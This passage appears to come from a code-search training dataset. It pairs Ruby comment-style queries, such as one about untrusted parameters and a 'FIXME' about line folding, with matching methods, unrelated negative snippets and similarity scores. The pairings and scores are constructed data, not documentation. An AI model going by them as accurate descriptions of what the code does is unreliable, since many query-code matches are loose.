self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def questionnaire_params params.require(:questionnaire).permit( :title, :description, options: {}, questions_attributes: [:id, :question_text, :correct_answer, :_destroy, question_answers_attributes: [:id, :is_correct_flag, :answer_text, :_destroy ] ]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
FIXME: implement line folding
def kv_pair(k, v) v = normalize_encoding(v) if token_safe?(v) add_text k + '=' + v elsif not CONTROL_CHAR =~ v add_text k + '=' + quote_token(v) else # apply RFC2231 encoding kv = k + '*=' + "iso-2022-jp'ja'" + encode_value(v) add_text kv end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def folds\n\t\[email protected]{|l| l.folded_lines}\n\tend", "def dividing_line; end", "def original_line; end", "def line_to_wrap; end", "def project_to_line\n end", "def line_ranges=(_); end", "def line_for_position(position); end", "def line_for_position(position); end", "def line_for_position(position); end", "def fold( value )\n value.gsub( /(^[ \\t]+.*$)|(\\S.{0,#{options(:BestWidth) - 1}})(?:[ \\t]+|(\\n+(?=[ \\t]|\\Z))|$)/ ) do\n $1 || $2 + ( $3 || \"\\n\" )\n end\n\t\tend", "def run_line_length_cop; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def normal_line(text)\n end", "def fold!(width, number = nil, breaker = nil)\n\n # If the TextRect has no lines, just return immediately.\n\n len = @theLines.length\n return self if len == 0\n\n # Create an array of line numbers. Make sure they are right adjusted.\n # When the array is complete, make up a left fill for those broken lines\n # that will not be copied. Also remember the length of the numbering\n # header.\n\n theNums = Array.new(len, '')\n\n if not number.nil? \n 0.upto(len-1) { |i| theNums[i] = \"#{(i+number).to_s}. \" }\n numWide = theNums.last.length\n theNums.collect! { |s| s.rjust(numWide) }\n end\n\n theFill = theNums.last.tr(theNums.last, ' ')\n numLen = theNums.last.length\n\n # Now process the strings of the original TextRect one by one. The new\n # lines are collected into an initially empty Array. Each line from the\n # receiver is processed in turn.\n\n theRes = Array.new\n\n @theLines.each_index do |i|\n\n # Get a line from the receiver and split it into words. Set of an array\n # of replacement lines and initialize the first replacement line to \n # be the number for the line followed by the first word and a space. \n # Every working line will end with a space (to be removed later).\n\n theWords = @theLines[i].split\n newLines = Array.new\n newLine = theNums[i] + theWords.delete_at(0) + ' '\n \n # In this loop, process each word in turn. Notice that as the line\n # already includes the first word and has a space at the end. If the line\n # cannot take one more word, take the trailing blank off, put it into\n # the accumulating array of new lines, and initialize the next new\n # line -- which must exist because there is a word pending -- with the\n # the left fill. Then, regardless of whether a line was saved, put the\n # word and a space at the end of the current line.\n\n theWords.each do |w|\n if newLine.length + w.length > width\n newLine.chomp!(' ')\n newLines << newLine\n newLine = String.new(theFill)\n end\n newLine << w << ' '\n end\n \n # All the words from this original line have been processed. Make sure\n # the last partial line gets into the array. Then put the folded lines\n # into the result. If this isn't the last line and the breaker isn't\n # NIL, put in a breaker line.\n\n newLines << newLine \n theRes.concat(newLines)\n theRes << breaker unless breaker.nil? or i == @theLines.length - 1\n\n end\n\n @theLines = theRes\n\n return self\n\n end", "def fold(width, number = nil, breaker = nil)\n theCopy = TextRect.new(@theLines)\n theCopy.fold!(width, number, breaker)\n end", "def alignContinuations(theLines)\n\n\tsplitAndAlign(theLines, /^(.*?)\\s+(\\\\)$/, \"\");\n\nend", "def line=(_); end", "def line=(_); end", "def fold_left(state)\n new_state = []\n state.row_vectors.each_index {|i|\n values = state.row_vectors[i].to_a\n values = @line_folder.fold(values)\n new_state << values\n }\n Matrix.rows(new_state)\n end", "def line(number); end", "def linearize(lines)\n lines = lines.split(/\\n/) if lines.is_a? String\n lines = lines.select { |l| not l.blank? }\n return '' if lines.empty?\n i = lines.\n index_range.\n sort_by { |i| lines[i] =~ /^( *)(-*)/; [$1.length,-$2.length,i] }.\n first { |i| good_divider(lines,i) }\n above,below = lines.rows(0...i),lines.rows((i+1)..-1)\n last_text = nil\n segments(lines[i]).collect { |text,range|\n implicit_mult = ((last_text =~ /[a-z0-9.\\)\\]]$/i and text =~ /^[a-z0-9.\\(]/i))? '*' : ''\n #p [implicit_mult,last_text,text,last_text =~ /[a-z0-9.\\)\\]]$/i,text =~ /^[a-z0-9.\\(]/i]\n a = above.columns(range)\n b = below.columns(range)\n implicit_mult + case text\n when /^ *$/ then (b.all_blank? ? '' : \"[#{ linearize(b)}]\") + (a.all_blank? ? '' : \"**(#{linearize(a)})\")\n when /^---+$/ then last_text = \"((#{linearize(a)})/(#{linearize(b)}))\"\n else last_text = text.strip\n end\n }.join\n end", "def folding_ranges; end", "def range_by_lines(range); end", "def indent_for(line); end", "def _reduce_273(val, _values, result)\n result = lexer.line\n \n result\nend", "def covered_lines; end", "def prev_line; end", "def method_source_lines(file, line_num, context=5)\n # Yeah, we're not memory efficient here.\n lines = Array(File.open(file))\n result = []\n\n min_index = line_num - context - 1\n max_index = line_num + context\n\n max_width = (max_index + 1).to_s.length\n\n (min_index...max_index).each do |index|\n result << [(index + 1).to_s.rjust(max_width), lines[index].rstrip, index == line_num - 1]\n end\n\n result\n end", "def previous_line_to_wrap; end", "def transform line\n i = 1\n tortoise = line[i]\n hare = line[i * 2]\n while tortoise != hare\n i += 1\n tortoise = line[i]\n hare = line[i * 2]\n end\n v = i\n\n mu = 0\n tortoise = line[mu]\n hare = line[v * 2 + mu]\n while tortoise != hare\n mu += 1\n tortoise = line[mu]\n hare = line[v * 2 + mu]\n end\n\n lam = 1\n hare = line[mu + lam]\n while tortoise != hare\n lam += 1\n hare = line[mu + lam]\n end\n #puts \"v mu lam %d %d %d\" % [v, mu, lam]\n \n line[mu, lam] \nend", "def _reduce_279(val, _values, result)\n result = lexer.line\n \n result\nend", "def _reduce_285(val, _values, result)\n result = lexer.line\n \n result\nend", "def begin_line(kind); end", "def begin_line(kind); end", "def prev_line=(_arg0); end", "def distance_to_line(line)\n end", "def chunk_to_lines chunk, layout, start, depth\n prefix = \" \" * INDENT_SPACES * depth\n\n if chunk.inlineable?\n lines = layout.wrapped ? wrap_lines(chunk.lines) : chunk.lines\n lines.map { |line| [[chunk.color, \"#{prefix}#{line}\"]] }\n elsif chunk.expandable?\n case layout.state\n when :closed\n [[[chunk.patina_color, \"#{prefix}+ #{chunk.patina_text}\"]]]\n when :open\n lines = layout.wrapped ? wrap_lines(chunk.lines) : chunk.lines\n [[[chunk.patina_color, \"#{prefix}- #{chunk.patina_text}\"]]] + lines.map { |line| [[chunk.color, \"#{prefix}#{line}\"]] }\n end\n else\n [[[chunk.patina_color, \"#{prefix}x #{chunk.patina_text}\"]]]\n end\n end", "def symbol(ds, index, y = 0)\n # Line that always appear\n x = (100 + SPACE) * index\n line(50, 0, 50, 100).translate(x, y)\n # Lines that may or may not appear depending of the digit\n ds.each do |num|\n case num\n when 1\n line(50, 0, 100, 0).translate(x, y) # 1579 -\n when 2\n line(50, 50, 100, 50).translate(x, y) # 289 _\n when 3\n line(50, 0, 100, 50).translate(x, y) # 3 \\\n when 4\n line(50, 50, 100, 0).translate(x, y) # 45 /\n when 5\n line(50, 0, 100, 0).translate(x, y) # 1579 -\n line(50, 50, 100, 0).translate(x, y) # 45 /\n when 6\n line(100, 0, 100, 50).translate(x, y) # 6789 |\n when 7\n line(50, 0, 100, 0).translate(x, y) # 1579 -\n line(100, 0, 100, 50).translate(x, y) # 6789 |\n when 8\n line(100, 0, 100, 50).translate(x, y) # 6789 |\n line(50, 50, 100, 50).translate(x, y) # 289 _\n when 9\n line(50, 0, 100, 0).translate(x, y) # 1579 -\n line(100, 0, 100, 50).translate(x, y) # 6789 |\n line(50, 50, 100, 50).translate(x, y) # 289 _\n when 10\n line(50, 0, 0, 0).translate(x, y) # 1579 -\n when 20\n line(50, 50, 0, 50).translate(x, y) # 289 _\n when 30\n line(50, 0, 0, 50).translate(x, y) # 3 /\n when 40\n line(50, 50, 0, 0).translate(x, y) # 45 \\\n when 50\n line(50, 50, 0, 0).translate(x, y) # 45 \\\n line(50, 0, 0, 0).translate(x, y) # 1579 -\n when 60\n line(0, 50, 0, 0).translate(x, y) # 6789 |\n when 70\n line(0, 50, 0, 0).translate(x, y) # 6789 |\n line(50, 0, 0, 0).translate(x, y) # 1579 -\n when 80\n line(50, 50, 0, 50).translate(x, y) # 289 _\n line(0, 50, 0, 0).translate(x, y) # 6789 |\n when 90\n line(0, 50, 0, 0).translate(x, y) # 6789 |\n line(50, 0, 0, 0).translate(x, y) # 1579 -\n line(50, 50, 0, 50).translate(x, y) # 289 _\n when 100\n line(50, 100, 100, 100).translate(x, y) # 1579 _\n when 200\n line(50, 50, 100, 50).translate(x, y) # 289 -\n when 300\n line(50, 100, 100, 50).translate(x, y) # 3 /\n when 400\n line(50, 50, 100, 100).translate(x, y) # 45 \\\n when 500\n line(50, 50, 100, 100).translate(x, y) # 45 \\\n line(50, 100, 100, 100).translate(x, y) # 1579 _\n when 600\n line(100, 50, 100, 100).translate(x, y) # 6789 |\n when 700\n line(100, 50, 100, 100).translate(x, y) # 6789 |\n line(50, 100, 100, 100).translate(x, y) # 1579 _\n when 800\n line(100, 50, 100, 100).translate(x, y) # 6789 |\n line(50, 50, 100, 50).translate(x, y) # 289 -\n when 900\n line(100, 50, 100, 100).translate(x, y) # 6789 |\n line(50, 100, 100, 100).translate(x, y) # 1579 _\n line(50, 50, 100, 50).translate(x, y) # 289 -\n when 1000\n line(50, 100, 0, 100).translate(x, y) # 1579 _\n when 2000\n line(50, 50, 0, 50).translate(x, y) # 289 -\n when 3000\n line(50, 100, 0, 50).translate(x, y) # 3 \\\n when 4000\n line(50, 50, 0, 100).translate(x, y) # 45 /\n when 5000\n line(50, 50, 0, 100).translate(x, y) # 45 /\n line(50, 100, 0, 100).translate(x, y) # 1579 _\n when 6000\n line(0, 50, 0, 100).translate(x, y) # 6789 |\n when 7000\n line(50, 100, 0, 100).translate(x, y) # 1579 _\n line(0, 50, 0, 100).translate(x, y) # 6789 |\n when 8000\n line(0, 50, 0, 100).translate(x, y) # 6789 |\n line(50, 50, 0, 50).translate(x, y) # 289 -\n when 9000\n line(0, 50, 0, 100).translate(x, y) # 6789 |\n line(50, 100, 0, 100).translate(x, y) # 1579 _\n line(50, 50, 0, 50).translate(x, y) # 289 -\n end\n end\nend", "def _patch_part(text_part, text_orig, sline, eline)\n lines = text_orig.split(\"\\n\", -1)\n lines[(sline -1) ..(eline-1)] = text_part.split(\"\\n\", -1)\n lines.join(\"\\n\")\n end", "def lines(source); end", "def element_line(element); end", "def line\n end", "def line\n end", "def _IndentedLine\n\n _save = self.pos\n while true # sequence\n _tmp = apply(:_Indent)\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_Line)\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_IndentedLine unless _tmp\n return _tmp\n end", "def line_index()\n end", "def process_line(line, index)\n\n # there should be a check for interpolation here, and just run a simple replace for each line\n\n if !indented?(line)\n $context = $root\n add_selector_or_property(line, index)\n # check here for @import, @font-face, and @keyframes\n else\n\n set_default_indent(line) if $default_indent.nil?\n\n if indent_level(line) == $context.indent + 1\n add_selector_or_property(line, index)\n elsif indent_level(line) < $context.indent + 1\n $context = find_context($context.parent, line)\n add_selector_or_property(line, index)\n else\n throw \"Flagrant code error! You indented line #{index} too far\"\n end\n\n end\n\nend", "def do_part2(lines)\n map, _, end_loc = map_from(lines)\n remove_inaccessible_cells(map, end_loc)\n paths = []\n map.height.times do |row|\n map.width.times do |col|\n paths << a_star(map, [row, col], end_loc) if map.at(row, col) == 0\n end\n end\n\n paths.compact.map(&:length).min\n end", "def line_for_offset(offset)\n end", "def offset_on_line(offset)\n end", "def ruling_lines\n get_ruling_lines!\n end", "def _reduce_259(val, _values, result)\n result = @line\n \n result\nend", "def join_lines_into_one\n\t\t@complete_letter = Array.new\n\t\t@master = 0\n\t\tmaster_comp = @top_line.length\n\t\tuntil @master == master_comp\n\t\t\ttheory_case\n\t\tend\n\tend", "def _reduce_270(val, _values, result)\n result = lexer.line\n \n result\nend", "def teardown_to_oneline(line, length = 60)\n lines = []\n line.split(\" \").each {|line|\n if !lines.empty? && lines[-1].size + line.size + 1 <= length\n lines[-1].concat(\" \" + line)\n else\n lines << line\n end\n }\n return lines\n end", "def change_prefix_2_line_number(code)\n break_counter = 0\n starts_and_ends = []\n code.scan(Regexp.new(\"(?:->|case|if|fun\\\\s*(?:\\\\s[A-Z]\\\\w*)?\\\\(.*\\\\)\\\\s*(?:when.*)?->)line#{VM_PREFIX}\")) do\n starts_and_ends << {type: 'start',\n starts: Regexp.last_match.offset(0).first,\n ends: Regexp.last_match.offset(0).last}\n end\n code.scan(Regexp.new(\"(?:\\\\.|;|end)line#{VM_PREFIX}\")) do\n starts_and_ends << {type: 'end',\n starts: Regexp.last_match.offset(0).first,\n ends: 